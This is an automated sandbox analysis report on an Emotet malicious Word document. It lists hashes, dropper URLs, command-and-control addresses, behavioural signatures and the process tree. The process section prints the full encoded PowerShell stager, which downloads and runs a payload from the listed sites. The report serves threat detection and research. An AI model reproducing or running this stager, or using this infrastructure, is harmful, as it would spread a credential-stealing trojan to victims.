emotet | d310bc1324e7bd2e09dde5482cc4390a66257737f2da4ce7c2bc2f05d04663d7

General

Target
List 20200904.doc
Size 236KB
Sample200904-mfdmdbz6bj
SHA256 d310bc1324e7bd2e09dde5482cc4390a66257737f2da4ce7c2bc2f05d04663d7
MD5 200ea382f8b99356bcddc712f05eccc6
SHA1 227af93af1cc7020e670463250c66b6701e59b6f
SHA512 b97a474640293e881bfc876ec0f8f908042242eb18ff9f1f6c86e0245ef4a29f3b68b779cebcbafbe84694a2e3d6aba5b5dbe527a6f507c36372e006e7276aa3
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://sitecgps.com/assets/hj8/
exe.dropper
http://andrescardozo.com/programas/k/
exe.dropper
http://banie.net/mariola/MW/
exe.dropper
https://www.martinsassessoriadigital.com/medias/1/
exe.dropper
http://associacaomda.org/erros/R4t/
exe.dropper
http://paramythou.gr/wp-includes/2/
exe.dropper
https://vedox.com/wp-includes/z/

Extracted

Family

emotet

C2

185.215.227.107:443
51.38.124.206:80
38.88.126.202:8080
54.37.42.48:8080
172.104.169.32:8080
68.183.190.199:8080
187.162.248.237:80
82.76.111.249:443
184.66.18.83:80
190.6.193.152:8080
77.238.212.227:80
199.203.62.165:80
188.2.217.94:80
185.94.252.12:80
178.250.54.208:8080
206.15.68.237:443
65.36.62.20:80
216.47.196.104:80
219.92.8.17:8080
213.60.96.117:80
77.55.211.77:8080
72.167.223.217:8080
177.74.228.34:80
186.103.141.250:443
190.163.31.26:80
85.109.159.61:443
68.183.170.114:8080
213.197.182.158:8080
45.161.242.102:80
71.197.211.156:80
104.131.103.37:8080
94.176.234.118:443
190.2.31.172:80
5.196.35.138:7080
190.195.129.227:8090
67.247.242.247:80
64.201.88.132:80
152.169.22.67:80
24.135.1.177:80
191.182.6.118:80
51.159.23.217:443
110.142.219.51:80
68.69.155.181:80
82.196.15.205:8080
77.90.136.129:8080
181.129.96.162:8080
45.33.77.42:8080
95.9.180.128:80
192.241.146.84:8080
91.219.169.180:80
188.135.15.49:80
212.71.237.140:8080
98.13.75.196:80
72.47.248.48:7080
209.236.123.42:8080
217.13.106.14:8080
219.92.13.25:80
177.72.13.80:80
12.162.84.2:8080
177.73.0.98:443
50.121.220.50:80
185.178.10.77:80
216.10.40.16:80
61.92.159.208:8080
170.81.48.2:80
45.16.226.117:443
185.94.252.27:443
217.199.160.224:7080
178.79.163.131:8080
186.70.127.199:8090
91.121.54.71:8080
190.190.148.27:8080
190.24.243.186:80
138.97.60.141:7080
104.131.41.185:8080
73.213.208.163:80
181.30.61.163:443
103.106.236.83:8080
192.241.143.52:8080
87.106.46.107:8080
2.47.112.152:80
45.173.88.33:80
204.225.249.100:7080
111.67.77.202:8080
70.32.115.157:8080
111.67.12.221:8080
70.32.84.74:8080
58.171.153.81:80
190.147.137.153:443
190.115.18.139:8080
83.169.21.32:7080
5.189.178.202:8080
50.28.51.143:8080
137.74.106.111:7080
189.2.177.210:443
72.135.200.124:80
51.255.165.160:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2312	3884	powershell.exe	72

Blacklisted process makes network request 2 IoCs

flow	pid	Process
25	2312	powershell.exe
27	2312	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
8	Ihl1j0.exe
580	dmdskmgr.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\sfc\dmdskmgr.exe	Ihl1j0.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\ServiceProfiles\LocalService\winhttp\cachev3.dat	svchost.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Modifies data under HKEY_USERS 6 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecision = "0"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionReason = "1"	svchost.exe
Set value (data)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionTime = 5167446d9382d601	svchost.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4028	WINWORD.EXE
4028	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2312	powershell.exe
2312	powershell.exe
2312	powershell.exe
580	dmdskmgr.exe
580	dmdskmgr.exe
580	dmdskmgr.exe
580	dmdskmgr.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeShutdownPrivilege	636	svchost.exe
Token: SeCreatePagefilePrivilege	636	svchost.exe
Token: SeDebugPrivilege	2312	powershell.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
4028	WINWORD.EXE
4028	WINWORD.EXE
4028	WINWORD.EXE
4028	WINWORD.EXE
4028	WINWORD.EXE
4028	WINWORD.EXE
4028	WINWORD.EXE
4028	WINWORD.EXE
4028	WINWORD.EXE
8	Ihl1j0.exe
8	Ihl1j0.exe
580	dmdskmgr.exe
580	dmdskmgr.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2312 wrote to memory of 8	2312	powershell.exe	79
PID 2312 wrote to memory of 8	2312	powershell.exe	79
PID 2312 wrote to memory of 8	2312	powershell.exe	79
PID 8 wrote to memory of 580	8	Ihl1j0.exe	81
PID 8 wrote to memory of 580	8	Ihl1j0.exe	81
PID 8 wrote to memory of 580	8	Ihl1j0.exe	81

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\List 20200904.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4028

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:636

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e JABEAHMAcgBwAHcAaQB4AD0AKAAoACcATwBwACcAKwAnAGoAdAAnACkAKwAnAHMAcQAnACsAJwB5ACcAKQA7AC4AKAAnAG4AZQB3AC0AJwArACcAaQB0AGUAbQAnACkAIAAkAEUAbgBWADoAVQBzAGUAcgBQAHIATwBmAEkAbABlAFwAVQAzAFMARgA4AFoARwBcAFQAeQA5AEwAZQBiADQAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAFIAZQBjAHQATwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAYABFAEMAdQBgAFIAaQBUAHkAUABSAE8AYABUAG8AYwBvAGwAIgAgAD0AIAAoACcAdAAnACsAKAAnAGwAcwAnACsAJwAxADIALAAgACcAKQArACgAJwB0ACcAKwAnAGwAcwAxACcAKQArACcAMQAnACsAKAAnACwAIAB0AGwAJwArACcAcwAnACkAKQA7ACQAUgB6AHAAOAB2ADcANwAgAD0AIAAoACgAJwBJAGgAJwArACcAbAAxAGoAJwApACsAJwAwACcAKQA7ACQASAB3AF8AcwB5AHQAOAA9ACgAKAAnAFIAJwArACcANwBiACcAKQArACgAJwAyAGMAbwAnACsAJwBxACcAKQApADsAJABaADQAdgBpAGwAcgBoAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnADkAJwArACgAJwB2AGoAJwArACcAVQAnACkAKwAoACcAMwBzAGYAJwArACcAOAB6ACcAKQArACgAJwBnADkAJwArACcAdgBqAFQAeQA5ACcAKwAnAGwAZQBiACcAKQArACcANAAnACsAKAAnADkAJwArACcAdgBqACcAKQApAC4AIgByAGAAZQBwAGAAbABhAEMAZQAiACgAKAAnADkAdgAnACsAJwBqACcAKQAsAFsAUwB0AFIASQBuAEcAXQBbAGMASABBAFIAXQA5ADIAKQApACsAJABSAHoAcAA4AHYANwA3ACsAKAAnAC4AJwArACgAJwBlACcAKwAnAHgAZQAnACkAKQA7ACQATwBmADYAdgByAHAAeAA9ACgAJwBIAGEAJwArACgAJwB6AF8AOQAyACcAKwAnAGMAJwApACkAOwAkAEQAaQBtAHEAaABnAHIAPQAmACgAJwBuACcAKwAnAGUAdwAnACsAJwAtAG8AYgBqAGUAYwB0ACcAKQAgAG4AZQB0AC4AVwBlAGIAQwBsAGkARQBOAHQAOwAkAEQAMwB3ADkAaAA4AG0APQAoACcAaAB0ACcAKwAnAHQAcAAnACsAKAAnADoALwAvACcAKwAnAHMAaQAnACsAJwB0ACcAKQArACgAJwBlAGMAZwBwACcAKwAnAHMALgAnACkAKwAoACcAYwAnACsAJwBvAG0AJwApACsAJwAvAGEAJwArACcAcwBzACcAKwAnAGUAdAAnACsAKAAnAHMALwBoAGoAOAAnACsAJwAvACoAJwArACcAaAB0AHQAcAAnACkAKwAoACcAOgAvACcAKwAnAC8AJwApACsAJwBhACcAKwAnAG4AJwArACgAJwBkAHIAJwArACcAZQAnACkAKwAnAHMAJwArACcAYwAnACsAJwBhAHIAJwArACcAZAAnACsAKAAnAG8AegAnACsAJwBvACcAKQArACcALgBjACcAKwAnAG8AJwArACcAbQAnACsAKAAnAC8AJwArACcAcAByACcAKQArACgAJwBvACcAKwAnAGcAcgAnACkAKwAoACcAYQAnACsAJwBtAGEAcwAnACkAKwAoACcALwAnACsAJwBrAC8AJwApACsAJwAqAGgAJwArACgAJwB0ACcAKwAnAHQAcAA6ACcAKwAnAC8ALwAnACkAKwAoACcAYgBhAG4AaQBlACcAKwAnAC4AbgAnACkAKwAnAGUAdAAnACsAKAAnAC8AbQAnACsAJwBhAHIAJwArACcAaQBvAGwAJwApACsAKAAnAGEALwAnACsAJwBNACcAKQArACgAJwBXACcAKwAnAC8AKgAnACkAKwAoACcAaAAnACsAJwB0AHQAcABzADoAJwArACcALwAvAHcAdwB3AC4AJwApACsAKAAnAG0AJwArACcAYQByACcAKQArACcAdABpACcAKwAoACcAbgBzAGEAcwBzAGUAJwArACcAcwBzAG8AJwArACcAcgAnACsAJwBpACcAKQArACcAYQAnACsAKAAnAGQAaQAnACsAJwBnAGkAdAAnACsAJwBhAGwAJwApACsAKAAnAC4AYwBvAG0AJwArACcALwAnACkAKwAoACcAbQBlAGQAaQAnACsAJwBhAHMALwAnACsAJwAxAC8AJwArACcAKgBoACcAKwAnAHQAdABwADoALwAnACkAKwAoACcALwAnACsAJwBhAHMAJwArACcAcwBvAGMAaQAnACkAKwAnAGEAJwArACcAYwBhACcAKwAoACcAbwBtAGQAJwArACcAYQAuACcAKQArACgAJwBvACcAKwAnAHIAZwAvAGUAJwApACsAKAAnAHIAJwArACcAcgBvACcAKQArACgAJwBzAC8AJwArACcAUgA0ACcAKQArACgAJwB0AC8AKgAnACsAJwBoAHQAdABwADoAJwArACcALwAnACkAKwAoACcALwAnACsAJwBwAGEAcgBhACcAKQArACcAbQAnACsAJwB5ACcAKwAnAHQAJwArACcAaABvACcAKwAoACcAdQAuAGcAcgAnACsAJwAvAHcAJwApACsAKAAnAHAALQBpAG4AJwArACcAYwAnACkAKwAoACcAbAAnACsAJwB1AGQAZQBzAC8AJwArACcAMgAvACcAKwAnACoAJwApACsAKAAnAGgAJwArACcAdAB0AHAAJwApACsAKAAnAHMAOgAvACcAKwAnAC8AJwApACsAJwB2ACcAKwAoACcAZQBkACcAKwAnAG8AeAAuACcAKQArACgAJwBjACcAKwAnAG8AbQAnACkAKwAoACcALwAnACsAJwB3AHAAJwApACsAJwAtAGkAJwArACcAbgAnACsAJwBjACcAKwAnAGwAdQAnACsAKAAnAGQAZQAnACsAJwBzAC8AegAvACcAKQApAC4AIgBzAFAAbABgAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEYAdgBoADQAdwAyAF8APQAoACcAUgAnACsAJwBuACcAKwAoACcAdwB4AHEAegAnACsAJwB2ACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQARABoAGcAYwBzADMAZAAgAGkAbgAgACQARAAzAHcAOQBoADgAbQApAHsAdAByAHkAewAkAEQAaQBtAHEAaABnAHIALgAiAGQATwBgAHcAbgBgAEwAYABvAGEAZABmAGkATABFACIAKAAkAEQAaABnAGMAcwAzAGQALAAgACQAWgA0AHYAaQBsAHIAaAApADsAJABXADUAMgB2AHAAbgBxAD0AKAAoACcAWgA4ACcAKwAnAGgAJwApACsAKAAnAHgAJwArACcANQA5AGYAJwApACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJACcAKwAnAHQAJwArACcAZQBtACcAKQAgACQAWgA0AHYAaQBsAHIAaAApAC4AIgBsAGAAZQBOAGcAVABIACIAIAAtAGcAZQAgADMAOAA1ADcANgApACAAewAmACgAJwBJACcAKwAnAG4AdgBvAGsAZQAtACcAKwAnAEkAdABlAG0AJwApACgAJABaADQAdgBpAGwAcgBoACkAOwAkAFkAdQBzAGgAeAAzADQAPQAoACcAUwAnACsAKAAnADkAZQAnACsAJwA1ACcAKQArACgAJwBfAHgAJwArACcAdwAnACkAKQA7AGIAcgBlAGEAawA7ACQAVgBlAGUAXwByAHoANQA9ACgAJwBKACcAKwAoACcANQAxAHUAJwArACcAbQBrADIAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFIANQB0AGUAYwB4AGgAPQAoACcAWQBwACcAKwAoACcAegAnACsAJwBxAG0AJwApACsAJwBhAGEAJwApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2312
- C:\Users\Admin\U3sf8zg\Ty9leb4\Ihl1j0.exe
  "C:\Users\Admin\U3sf8zg\Ty9leb4\Ihl1j0.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:8
- - C:\Windows\SysWOW64\sfc\dmdskmgr.exe
    "C:\Windows\SysWOW64\sfc\dmdskmgr.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:580

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/8-17-0x0000000002260000-0x000000000226C000-memory.dmp

Download

memory/8-16-0x0000000002250000-0x000000000225D000-memory.dmp

Download

memory/580-20-0x0000000002270000-0x000000000227D000-memory.dmp

Download

memory/580-21-0x0000000002280000-0x000000000228C000-memory.dmp

Download

memory/2312-12-0x0000018F5DF80000-0x0000018F5DF81000-memory.dmp

Download

memory/2312-11-0x0000018F45C10000-0x0000018F45C11000-memory.dmp

Download

memory/2312-10-0x00007FFCC78E0000-0x00007FFCC82CC000-memory.dmp

Download

memory/4028-0-0x00007FFCCEBC0000-0x00007FFCCF286000-memory.dmp

Download

memory/4028-4-0x0000027CD1C05000-0x0000027CD1C1D000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads